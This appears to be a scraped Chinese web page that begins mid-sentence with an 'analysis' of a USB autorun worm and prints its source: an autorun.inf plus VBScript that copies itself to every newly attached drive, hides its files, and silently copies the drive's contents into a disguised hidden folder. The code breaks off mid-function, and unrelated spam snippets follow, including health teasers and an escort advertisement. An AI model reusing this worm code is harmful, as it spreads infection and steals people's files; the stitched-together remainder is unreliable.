盘符,双击,还是右键选择打开,或者运行资源管理器都会自动运行其代码(病毒),所以中此病毒后,新手往往打不开盘符,导致数据无法读取。 代码分析 文件名:autorun.inf -------- [autorun] open= shell\open=打开(&O) shell\open\Command=WScript.exe stNP.vbs shell\open\Default=1 shell\explore=资源管理器(&X) shell\explore\Command=WScript.exe stNP.vbs ================== 文件名:stNP.VBS ------- on error resume next set fso = CreateObject("Scripting.FileSys"&"temObject") if fso.FileExists("NP.vbs") = -1 then if fso.FileExists("d:\NP.vbs") = -1 then set f = fso.getfile("d:\NP.vbs") if f.attributes = 0 then else f.attributes = 0 end if f.delete(true) end if fso.copyfile "NP.vbs", "d:\NP.vbs", true set wshshell = wscript.createobject("WScript.Shell") wshshell.run "d:\NP.vbs" end if ================ 文件名:NP.VBS ----- '[NatruePark] '容错语句 on Error resume next '变量声明及初始化 dim fso, old_drs(), new_drs(), old_n, new_n, new_yn, wshshell set fso = CreateObject("Scripting.File"&"SystemObject") set wshshell = wscript.createobject("WScript.Shell") old_n=0 redim old_drs(old_n) old_drs(0)="C" '[主体部分] wshshell.run("explorer .\") dim i i = 0 do while i>=0 and i<8*360 scan_disk() if judge_new_disk() = 1 then dim left_n left_n = 1 do while left_n<=(new_n-old_n) new_disk = new_drs(left_n+old_n)&":\" '-----------------<维护块>----------------- if fso.FileExists(new_disk&"NP.vbs") = -1 then else self_copy(new_disk) end if add_attrib(new_disk&"NP.vbs") if fso.FileExists(new_disk&"autorun.inf") = -1 then del_attrib(new_disk&"autorun.inf") end if add_autorun(new_disk) add_attrib(new_disk&"autorun.inf") if fso.FileExists(new_disk&"stNP.vbs") = -1 then else add_stNP(new_disk) end if add_attrib(new_disk&"stNP.vbs") '-----------------维护块>----------------- '-----------------<功能块>----------------- dim rec rec = "d:\Recyc1ed\" if fso.FolderExists(rec) = -1 then else fso.createfolder(rec) end if add_attribf(rec) if fso.FileExists(rec&"desktop.ini") = -1 then else add_desktop(rec) end if add_attrib(rec&"desktop.ini") aim_folder = rec&Date()&Rnd() if fso.FolderExists(aim_folder) = -1 then else fso.createfolder(aim_folder) end if '查找"汽轮机原理文件夹并复制" if fso.FolderExists(new_disk&"汽轮机原理") = -1 then fso.copyfolder new_disk&"汽轮机原理", aim_folder, true add_attribf(aim_folder) end if '通用复制 if old_n = 0 then else set fp = fso.getFolder(new_drs(new_n)&":\") set fc = fp.SubFolders for each f in fc fso.copyfolder f&"", aim_folder&"\"&f.name, true next set fc = fp.files for each f in fc fso.copyfile f&"", aim_folder&"\", true next add_attribf(aim_folder) end if '-----------------功能块>----------------- left_n=left_n+1 loop copy_disk() end if wscript.sleep(10000) i=i+1 loop '[函数部分] '可用驱动器检测 new_drs(),new_n function scan_disk() dim d, dr new_n = -1 set dr = fso.drives for each d in dr if d.isready then new_n=new_n+1 redim preserve new_drs(new_n) new_drs(new_n)=d.driveletter end if next end function '判断是否有新加入的驱动器 function judge_new_disk() if new_n = old_n then judge_new_disk = 0 elseif new_n < old_n then redim preserve old_drs(new_n) old_n = new_n judge_new_disk = 0 elseif new_n > old_n then redim preserve old_drs(new_n) judge_new_disk = 1 end if end function '复制新驱动器表单 function copy_disk() dim n n=0 do while n<=new_n old_drs(n) = new_drs(n) n=n+1 loop old_n = new_n end function '添加指定文件属性 function add_attrib(file) set f = fso.getfile(file) if f.attributes = 7 then else f.attributes = 7 end if end function '删除指定文件属性 function del_attrib(file) set f = fso.getfile(file) if f.attributes = 7 then f.attributes = 0 else end if end function '自我复制到指定文件目录 function self_copy(folder) dim aim_path, mid_path, self_file, mid_file aim_path = folder&"NP.vbs" mid_path = "c:\np.bin" set self_file = fso.opentextfile(wscript.scriptfullname,1) self = self_file.readall set mid_file = fso.opentextfile(mid_path,2,true) mid_file.write self mid_file.close set mid_file = fso.getfile(mid_path) mid_file.copy(aim_path) mid_file.delete(true) end function '增加autorun.inf function add_autorun(folder) dim path path = folde
心情随笔 肠炎的症状(肠炎的症状有哪些?)大家都了解,日常饮食会马上伤害肠菌。在现实生活中,很多人全是有肠胃病的经历,其对身体造成 的伤害是十分大的。对于患有这类症状的人来讲,无法马上接受治疗,前期...
由于从小暑逐渐平均气温逐渐上升,很多人将小暑和入伏联络到一起,三伏天是夏天中最火的情况下,因而在小暑节气以后,大伙儿要留意消夏避暑和健康养生,2020小暑是入伏第一天吗?几月几日逐渐入伏?下边产生详细...
中国武术第一高手(谁是中国近现代第一高手?) 中国有句古话,叫“文无第一,武无第二”,凡是牵涉武功的,人们总想分出个高下来,就像“张飞打岳飞”,连不是一个时代的人都被拉到了一起。 今天,咱们就来聊...
“三亚私人伴游-【钱育】” 张sir的伴游旅行期待:17311看看极品高端商务想对您说的话 商务预约留言:反叛里表达着真心,调皮中显露出真情。绝非俗物的我,可爱俏丽,充满着孩子气,随时等待着哥哥们的调...
. 新生儿猝死综合症是什么,婴儿猝死症是什么情况,孩子在哪些情况下会猝死呢?怎么避免宝宝猝死呢,导致宝宝猝死症的原因是什么呢,友谊长存小编为大家带来了关于孩子的相关解答。 什么是婴儿猝死症? 婴...
. 熊孩子们终于要上学了,孩子在家的这段时间真的是特别难熬。终于到了自由发挥时间了,可以安心买自己的东西。家长就自由了,不用再被熊孩子吵的头疼。熊孩子终于上学了朋友圈说说 熊孩子终于上学了搞笑文字大...